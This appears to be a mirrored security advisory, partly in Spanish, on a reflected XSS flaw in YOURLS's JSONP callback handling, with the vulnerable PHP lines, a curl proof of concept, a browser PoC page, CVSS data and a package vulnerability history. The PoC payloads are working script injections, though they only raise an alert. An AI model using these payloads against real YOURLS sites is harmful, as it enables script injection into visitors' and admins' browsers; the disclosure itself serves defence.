YOURLS is vulnerable to XSS through JSONP and Callback request parameters
Summary
The callback and jsonp request parameters are directly concatenated into the response without any sanitization that allowing attackers to inject arbitrary JS code. When YOURLS_PRIVATE is set to false (public API mode), this vulnerability can be exploited by any unauthenticated attacker. In private mode, the XSS payload is still injected into the 403 response body though browser execution is blocked.
Details
Vulnerability exists in the JSONP callback handling chain:
yourls-api.php:127-128
if( isset( $_REQUEST['callback'] ) )
$return['callback'] = $_REQUEST['callback'];
elseif ( isset( $_REQUEST['jsonp'] ) )
$return['callback'] = $_REQUEST['jsonp'];includes/functions-api.php:127-128
$callback = isset( $output['callback'] ) ? $output['callback'] : '';
$result = $callback . '(' . json_encode( $output ) . ')';PoC
I. YOURLS instance with YOURLS_PRIVATE set to false in config.php or user authenticated to a private YOURLS instance.
II. curl "http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert(document.domain)//"
Expected response: alert(document.domain)//({"version":"1.10.2","callback":"alert(document.domain)\/\/"})
Browser PoC file:
<!DOCTYPE html>
<html>
<head><title>pwn</title></head>
<body>
<h1>pwn</h1>
<script src="http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert('pwn');//"></script>
</body>
</html>Impact
Public Mode (YOURLS_PRIVATE=false): Full exploitation, any unauthenticated user can trigger XSS. Private Mode (YOURLS_PRIVATE=true): XSS payload is injected into 403 response body but browser blocks script execution. However, authenticated users or admins accessing malicious links are still vulnerable.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de Composer | yourls/yourls | <= 1.10.2 | sin corrección |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L- Debilidad (CWE)
CWE-79- Plataforma
- Composer
- Paquete
yourls/yourls- Publicada
- 30.12.2025
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-6mp4-q625-mxjp - CC BY 4.0
Historial de vulnerabilidades: yourls/yourls
Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 8
- Primera → última
- 09.2019 08.2026
- Sin corrección
- 4
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 2
- Media 4
- Baja 1
Divulgaciones por año
- 2019: 1
- 2020: 0
- 2021: 3
- 2022: 2
- 2023: 0
- 2024: 0
- 2025: 1
- 2026: 1
-
YOURLS is vulnerable to XSS through JSONP and Callback request parameters esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.